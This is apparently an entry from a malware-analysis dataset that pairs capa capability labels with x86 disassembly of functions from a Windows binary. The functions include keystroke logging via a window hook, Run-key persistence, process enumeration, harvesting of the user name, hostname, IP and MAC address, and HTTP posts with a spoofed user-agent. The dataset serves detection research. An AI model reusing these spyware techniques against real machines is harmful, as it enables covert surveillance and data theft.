joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406ba7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4771bc
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x49e2e0]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push esi
push edi
mov eax, dword [0x49e2e0]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
xor ebx, ebx
cmp dword [esi + 0x40], ebx
je 0x406cf4
cmp byte [esi + 0x45], bl
je 0x406cf4
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x406c0b
xor al, al
jmp 0x406cf6
push ebx
push 8
lea ecx, [esp + 0x28]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.004067b5
lea eax, [esi + 0x48]
mov dword [esp + 0x48], ebx
mov dword [esp + 0x18], eax
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x34]
cmp ecx, 0x10
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
mov ecx, dword [ecx + 0x40]
push eax
mov eax, dword [esp + 0x34]
lea edi, [esp + 0x24]
cmovae edi, edx
lea esi, [esp + 0x24]
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
push dword [esp + 0x24]
call dword [edx + 0x20]
sub eax, ebx
je 0x406c75
dec eax
jne 0x406cda
mov esi, dword [esp + 0x14]
jmp 0x406c7c
mov esi, dword [esp + 0x14]
mov byte [esi + 0x45], bl
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
cmp ecx, 0x10
lea eax, [esp + 0x20]
cmovae eax, edx
sub edi, eax
je 0x406cbb
push dword [esi + 0x50]
cmp ecx, 0x10
push edi
lea eax, [esp + 0x28]
cmovae eax, edx
push 1
push eax
call fcn.004202e9
add esp, 0x10
cmp edi, eax
jne 0x406ce3
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x20]
cmp byte [esi + 0x45], 0
je 0x406ce1
test edi, edi
jne 0x406c3a
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.004066c7
jmp 0x406c32
dec eax
dec eax
jne 0x406ce7
inc eax
jmp 0x406ce5
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.00401647
mov al, bl
jmp 0x406cf6
mov al, 1
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.0041e4f3
mov esp, ebp
pop ebp
ret

Function at 0x407f92
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x49e2e0]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
xor ebx, ebx
push 0x124
lea eax, [ebp - 0x130]
push ebx
push eax
mov dword [ebp - 0x134], ebx
call fcn.00423b00
add esp, 0xc
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x134]
push eax
push esi
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x40800a
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp + 8]
call fcn.00409ad6
test eax, eax
je 0x408010
lea eax, [ebp - 0x134]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x407fe9
jmp 0x408012
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 8]
pop esi
movzx eax, bl
xor ecx, ebp
pop ebx
call fcn.0041e4f3
leave
ret
Function at 0x409d47
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
push dword [0x4a2a18]
mov ebx, ecx
push 0x409d0a
lea edi, [ebx + 0x214]
push 0xd
mov dword [edi], 1
mov dword [edi + 4], esi
mov dword [edi + 8], esi
mov dword [edi + 0xc], esi
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x4a2a54], eax
call esi
push 1
mov dword [ebx + 4], eax
call esi
push 0
push edi
push 0x4a2a1c
mov dword [ebx + 8], eax
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
and dword [0x4a2a24], 0
pop edi
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x40a947
Capabilities:
Get graphical window text

Disassembly:
push 0x28
mov eax, 0x4776e6
call fcn.00469e1b
mov esi, ecx
movzx eax, dx
dec eax
je 0x40aac0
sub eax, 0x3e9
je 0x40aa9d
dec eax
jne 0x40aac5
push 0x2ec
call fcn.0041f062
pop ecx
test eax, eax
je 0x40a987
mov ecx, eax
call fcn.00409d47
push 1
call fcn.0041f062
pop ecx
push 0x28
call fcn.0041f062
pop ecx
mov dword [ebp - 0x30], eax
and dword [ebp - 4], 0
test eax, eax
je 0x40a9ad
mov ecx, eax
call fcn.0040e646
mov ebx, eax
jmp 0x40a9af
xor ebx, ebx
or dword [ebp - 4], 0xffffffff
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x14
lea eax, [ebp - 0x2c]
push eax
push dword [0x4a2a08]
mov dword [ebp - 0x18], 0x66736e67
mov dword [ebp - 0x14], 0x217375
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [ebp - 0x18]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a9e3
sub ecx, edx
push ecx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.004207c0
add esp, 0xc
test eax, eax
jne 0x40aa72
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
xor edi, edi
push edi
push dword [0x4a2a20]
call esi
push edi
push dword [0x4a2a08]
call esi
push edi
push dword [0x4a2a50]
call esi
push edi
push dword [0x4a2a10]
call esi
push 5
push dword [0x4a2a0c]
call esi
push ecx
push edi
push ecx
mov esi, esp
push ecx
mov ecx, esp
mov dword [ebp - 0x30], esp
push str.POPUP_Input_PW_
call fcn.00401668
push ecx
mov ecx, esp
push 0x489590
mov dword [ebp - 4], 1
call fcn.00401668
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040d905
call fcn.0040d7e4
jmp 0x40aac5
push 0x487b83
push dword [0x4a2a08]
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0x40000
push 0x4894d8
push 0x489594
xor edi, edi
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40aac5
push 0x3ea
push esi
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
cmp eax, 1
jne 0x40aacd
push eax
push eax
push esi
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov ecx, esi
call fcn.0040acdb
mov al, 1
call fcn.00469dca
ret
push 0
push 1
push esi
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
jmp 0x40aac5
Function at 0x40b267
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x49e2e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x103
push esi
lea eax, [ebp - 0x107]
push 0
push eax
mov ebx, ecx
mov byte [ebp - 0x108], 0
call fcn.00423b00
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x108]
push eax
mov edi, 0x489604
lea eax, [ebx + 0x14]
push edi
push eax
call fcn.00403011
push esi
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.00423b00
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add esp, 0x18
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
call esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea eax, [ebx + 0x18]
push edi
push eax
call fcn.00403011
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.00423b00
add esp, 0x18
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
call esi
lea eax, [ebp - 0x108]
push eax
lea eax, [ebx + 0x1c]
push edi
push eax
call fcn.00403011
mov esi, 0x103
push esi
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.00423b00
add esp, 0x18
mov ecx, ebx
push 0x487b83
call fcn.00401712
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
push eax
push 0x104
call edi
lea eax, [ebp - 0x108]
push eax
push str._sfsi
push ebx
call fcn.00403011
push esi
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.00423b00
add esp, 0x18
lea esi, [ebx + 0xc]
push 0x487b83
mov ecx, esi
call fcn.00401712
lea eax, [ebp - 0x108]
push eax
push 0x104
call edi
push str.4352
lea eax, [ebp - 0x108]
push eax
push str._sfsi_s.exe
push esi
call fcn.00403011
mov esi, str.4352
push esi
lea eax, [ebx + 4]
push str._s.exe
push eax
call fcn.00403011
push esi
lea eax, [ebx + 8]
push 0x489604
push eax
call fcn.00403011
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.00423b00
add esp, 0x34
lea esi, [ebx + 0x10]
push 0x487b83
mov ecx, esi
call fcn.00401712
lea eax, [ebp - 0x108]
push eax
push 0x104
call edi
lea eax, [ebp - 0x108]
push eax
push str._sfsiconfig.ini
push esi
call fcn.00403011
add esp, 0xc
push dword [ebx]
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x40b46e
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, ebx
call fcn.0040ba46
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0041e4f3
leave
ret
Function at 0x40d6dd
Capabilities:
Reference http user-agent string

Disassembly:
push 0xc
mov eax, 0x477d43
call fcn.00469de8
mov esi, 0x49f1e8
push esi
lea ecx, [ebp - 0x14]
call fcn.00401743
and dword [ebp - 4], 0
push esi
lea ecx, [ebp - 0x10]
call fcn.00401743
mov byte [ebp - 4], 1
call fcn.00438f50
mov ebx, eax
test ebx, ebx
je 0x40d7c8
push ecx
mov ecx, dword [0x4a3378]
add ecx, 0xfffffff0
mov esi, esp
call fcn.00401f3d
add eax, 0x10
mov dword [esi], eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040d673
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.00401dc6
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00401253
push str.User_Agent:_Mozilla_5.0__Windows_NT_10.0__WOW64__Trident_7.0__rv:11.0__like_Gecko
push 0
call fcn.00438e90
push str.Content_Type:_application_x_www_form_urlencoded
push eax
call fcn.00438e90
push eax
push 0x2727
push ebx
call fcn.00438fb0
mov esi, dword [ebp - 0x10]
add esp, 0x1c
push esi
push 0x2712
push ebx
call fcn.00438fb0
add esp, 0xc
push ebx
call fcn.00438f90
pop ecx
mov edi, eax
push edi
push edi
call fcn.004393d0
pop ecx
push eax
lea eax, [ebp - 0x14]
push str._s___d_
push eax
call fcn.00403011
add esp, 0x10
test edi, edi
jne 0x40d7bf
lea eax, [ebp - 0x10]
push eax
mov ecx, 0x4a3368
call fcn.00401dc6
push ebx
call fcn.00438f30
pop ecx
jmp 0x40d7cb
mov esi, dword [ebp - 0x10]
lea ecx, [esi - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00401253
call fcn.00469db6
ret

Function at 0x40d7e4
Capabilities:
Reference http user-agent string

Disassembly:
push 0xc
mov eax, 0x477eba
call fcn.00469de8
and dword [ebp - 4], 0
push 3
call fcn.00438fe0
call fcn.00438f50
lea ecx, [ebp - 0x10]
mov esi, eax
mov dword [esp], 0x487b83
call fcn.00401668
mov byte [ebp - 4], 1
test esi, esi
je 0x40d8e5
push 0x489d54
mov edx, 0x4a3368
lea ecx, [ebp - 0x18]
call fcn.00401e69
lea ecx, [ebp + 8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.00401e14
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.00401dc6
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00401253
push str.User_Agent:_Mozilla_5.0__Windows_NT_10.0__WOW64__Trident_7.0__rv:11.0__like_Gecko
push 0
call fcn.00438e90
push str.Content_Type:_application_x_www_form_urlencoded
push eax
call fcn.00438e90
push eax
push 0x2727
push esi
call fcn.00438fb0
add esp, 0x1c
cmp dword [ebp + 0xc], 0
jne 0x40d8a5
push dword [ebp - 0x10]
push 0x2712
push esi
call fcn.00438fb0
add esp, 0xc
jmp 0x40d8d7
cmp dword [ebp + 0xc], 1
jne 0x40d8d7
push dword [0x4a3368]
push 0x2712
push esi
call fcn.00438fb0
push dword [ebp + 8]
push 0x271f
push esi
call fcn.00438fb0
push 1
push 0x2f
push esi
call fcn.00438fb0
add esp, 0x24
push esi
call fcn.00438f90
push esi
call fcn.00438f30
pop ecx
pop ecx
mov ecx, dword [ebp - 0x10]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.00401253
xor eax, eax
call fcn.00469db6
ret 0xc
Function at 0x40e152
Capabilities:
Persist via run registry key

Disassembly:
push 4
mov eax, 0x47800d
call fcn.00469de8
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.0040e646
and dword [ebp - 4], 0
mov edi, 0x49f1e8
lea ecx, [esi + 0x30]
push edi
call fcn.00401743
lea ecx, [esi + 0x34]
push edi
mov byte [ebp - 4], 1
call fcn.00401743
push edi
lea ecx, [esi + 0x38]
mov byte [ebp - 4], 2
call fcn.00401743
lea ecx, [esi + 0x3c]
push edi
mov byte [ebp - 4], 3
call fcn.00401743
lea ecx, [esi + 0x40]
push edi
mov byte [ebp - 4], 4
call fcn.00401743
lea ecx, [esi + 0x44]
push edi
mov byte [ebp - 4], 5
call fcn.00401743
lea ecx, [esi + 0x48]
push edi
mov byte [ebp - 4], 6
call fcn.00401743
push edi
lea ecx, [esi + 0x4c]
mov byte [ebp - 4], 7
call fcn.00401743
push edi
lea ecx, [esi + 0x50]
mov byte [ebp - 4], 8
call fcn.00401743
mov ecx, esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [ecx + 0x30]
mov byte [ebp - 4], 9
call fcn.00401712
mov eax, esi
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones3
lea ecx, [eax + 0x34]
mov dword [eax + 0x54], 1
mov dword [eax + 0x28], reloc.WS2_32.dll_accept
mov dword [eax + 0x5c], 0xf003f
mov dword [eax + 0x2c], reloc.WS2_32.dll_bind
call fcn.00401712
mov eax, esi
push str.Control_PanelDesktop_
lea ecx, [esi + 0x38]
mov dword [eax + 0x58], 4
call fcn.00401712
push str.Control_PanelDesktopWallPaper_bak
lea ecx, [esi + 0x4c]
call fcn.00401712
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktopNoChangingWallPaper
lea ecx, [esi + 0x50]
call fcn.00401712
mov ebx, esi
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktop
lea ecx, [ebx + 0x3c]
call fcn.00401712
mov eax, ebx
call fcn.00469db6
ret
Function at 0x40e2d1
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
mov eax, dword [0x49e2e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
push 0xfe
lea eax, [ebp - 0x103]
push ebx
push eax
mov esi, ecx
mov dword [ebp - 0x308], ebx
mov byte [ebp - 0x104], bl
call fcn.00423b00
push 0xfe
lea eax, [ebp - 0x203]
push ebx
push eax
mov byte [ebp - 0x204], bl
call fcn.00423b00
push 0xfe
lea eax, [ebp - 0x303]
push ebx
push eax
mov byte [ebp - 0x304], bl
call fcn.00423b00
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax - 0xc]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30c], ecx
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x104]
push 0xff
push eax
call fcn.00420a6d
mov eax, dword [ebp + 0x10]
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x204]
push 0xff
push eax
call fcn.00420a6d
mov eax, dword [ebp + 0x14]
add esp, 0x44
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x304]
push 0xff
push eax
call fcn.00420a6d
add esp, 0x10
lea eax, [ebp - 0x308]
push eax
push dword [esi + 0x5c]
lea eax, [ebp - 0x104]
push ebx
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e3f3
mov eax, dword [ebp - 0x30c]
inc eax
push eax
lea eax, [ebp - 0x304]
push eax
push dword [ebp + 0x18]
lea eax, [ebp - 0x204]
push ebx
push eax
push dword [ebp - 0x308]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x308]
test eax, eax
je 0x40e3eb
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40e3f3
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
mov ecx, dword [ebp + 0xc]
lea ecx, [ecx - 0x10]
call fcn.00401253
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.00401253
mov ecx, dword [ebp + 0x14]
add ecx, 0xfffffff0
call fcn.00401253
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.0041e4f3
leave
ret 0x14
Function at 0x40e427
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x310
mov eax, 0x47808c
call fcn.00469e1b
mov esi, ecx
mov eax, dword [ebp + 0x14]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x318], eax
push 0xfe
xor ebx, ebx
lea eax, [ebp - 0x30f]
inc ebx
push 0
mov dword [ebp - 4], ebx
push eax
mov byte [ebp - 0x310], 0
call fcn.00423b00
push 0xfe
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call fcn.00423b00
push 0xfe
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.00423b00
mov eax, dword [ebp + 0xc]
mov ecx, 0xff
mov dword [ebp - 0x31c], ecx
push dword [eax - 0xc]
push eax
push ecx
lea eax, [ebp - 0x310]
push eax
call fcn.00420a6d
mov eax, dword [ebp + 0x10]
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x210]
push 0xff
push eax
call fcn.00420a6d
add esp, 0x44
lea eax, [ebp - 0x314]
push eax
push dword [esi + 0x5c]
lea eax, [ebp - 0x310]
push 0
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e539
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x314]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e539
push dword [ebp - 0x314]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x318]
lea eax, [ebp - 0x110]
push eax
call fcn.00401712
jmp 0x40e53b
xor bl, bl
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.00401253
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.00401253
mov al, bl
call fcn.00469dca
ret 0x14

Function at 0x40e9a4
Capabilities:
Get session user name

Disassembly:
push 0x10c
mov eax, 0x478288
call fcn.00469e87
mov esi, ecx
push 0xfe
lea eax, [ebp - 0x113]
push 0
push eax
mov byte [ebp - 0x114], 0
call fcn.00423b00
and dword [ebp - 4], 0
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x118], 0xff
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp eax, 1
jne 0x40ea0b
lea ecx, [ebp - 0x114]
push ecx
mov ecx, esi
call fcn.00401712
mov al, 1
jmp 0x40ea19
push str.NULL
mov ecx, esi
call fcn.00401712
xor al, al
call fcn.00469dd9
ret

Function at 0x40ea25
Capabilities:
Get hostname

Disassembly:
push 0x10c
mov eax, 0x478245
call fcn.00469e87
mov esi, ecx
push 0xfe
lea eax, [ebp - 0x113]
push 0
push eax
mov byte [ebp - 0x114], 0
call fcn.00423b00
and dword [ebp - 4], 0
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x118], 0xff
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp eax, 1
jne 0x40ea8d
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [esi + 4]
call fcn.00401712
mov al, 1
jmp 0x40ea9c
push str.NULL
lea ecx, [esi + 4]
call fcn.00401712
xor al, al
call fcn.00469dd9
ret
Function at 0x40eaa8
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x39c
mov eax, dword [0x49e2e0]
xor eax, esp
mov dword [esp + 0x398], eax
push ebx
push esi
push edi
mov edi, 0xfe
xor ebx, ebx
push edi
lea eax, [esp + 0x2a5]
push ebx
push eax
mov esi, ecx
mov byte [esp + 0x2ac], bl
call fcn.00423b00
push edi
lea eax, [esp + 0x1b1]
push ebx
push eax
mov byte [esp + 0x1b8], bl
call fcn.00423b00
add esp, 0x18
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
inc edi
push edi
lea eax, [esp + 0x2a4]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [esp + 0x2a0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40eb33
xor al, al
jmp 0x40eb64
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [esp + 0x1a4]
push edi
push eax
call fcn.0041f3d0
add esp, 0xc
lea eax, [esp + 0x1a0]
push eax
lea ecx, [esi + 8]
call fcn.00401712
mov al, 1
mov ecx, dword [esp + 0x3a4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041e4f3
mov esp, ebp
pop ebp
ret

Function at 0x40eb79
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push 0xc
mov eax, 0x47826d
call fcn.00469e51
mov ebx, ecx
mov dword [ebp - 0x18], ebx
mov eax, 0x288
push 1
xor edi, edi
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], edi
call fcn.0042171e
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40ec99
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x40ebdf
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004208ba
mov edi, eax
pop ecx
mov esi, edi
test edi, edi
je 0x40ec99
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x40ec8e
test esi, esi
je 0x40ec63
push 8
lea eax, [esi + 0x1b0]
push str.0.0.0.0
push eax
call fcn.00433869
add esp, 0xc
test eax, eax
jne 0x40ec16
mov esi, dword [esi]
test esi, esi
jne 0x40ebf6
test esi, esi
je 0x40ec63
mov ecx, dword [esi + 0x198]
mov edx, dword [esi + 0x194]
mov eax, ecx
shr eax, 8
movzx eax, al
push eax
movzx eax, cl
push eax
mov eax, edx
shr eax, 0x18
push eax
mov eax, edx
shr eax, 0x10
movzx eax, al
push eax
mov eax, edx
shr eax, 8
movzx eax, al
push eax
movzx eax, dl
push eax
push str._0.2X__0.2X__0.2X__0.2X__0.2X__0.2X
push 0x14
push 0x4a3d28
call fcn.0041f4a7
add esp, 0x24
test edi, edi
je 0x40ec6e
push edi
call fcn.0042018d
pop ecx
or dword [ebp - 4], 0xffffffff
push 0x4a3d28
lea ecx, [ebx + 0xc]
call fcn.00401712
mov al, 1
jmp 0x40ec9b
test esi, esi
je 0x40ec99
push esi
call fcn.0041f823
pop ecx
xor al, al
call fcn.00469db6
ret
Function at 0x40ed8d
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov ebx, eax
test ebx, ebx
jne 0x40edb8
or eax, 0xffffffff
jmp 0x40ee80
push edi
push ebx
call fcn.004208ba
push ebx
mov edi, eax
push esi
push edi
call fcn.00423b00
add esp, 0x10
push edi
push ebx
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
jne 0x40edec
push edi
call fcn.0042018d
or eax, 0xffffffff
jmp 0x40ee7e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x487e7c
push edi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
jne 0x40ee0f
or esi, 0xffffffff
jmp 0x40ee76
mov ebx, dword [ebp - 0x10]
mov ecx, ebx
call fcn.0040ed4c
test al, al
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x12]
push eax
lea eax, [ebx + 0x18]
push 0x487e88
push eax
call fcn.00403011
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x10]
push eax
lea eax, [ebx + 0x20]
push 0x487e88
push eax
call fcn.00403011
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x16]
push eax
lea eax, [ebx + 0x1c]
push 0x487e88
push eax
call fcn.00403011
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x14]
push eax
lea eax, [ebx + 0x24]
push 0x487e88
push eax
call fcn.00403011
add esp, 0x30
push edi
call fcn.0042018d
mov eax, esi
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4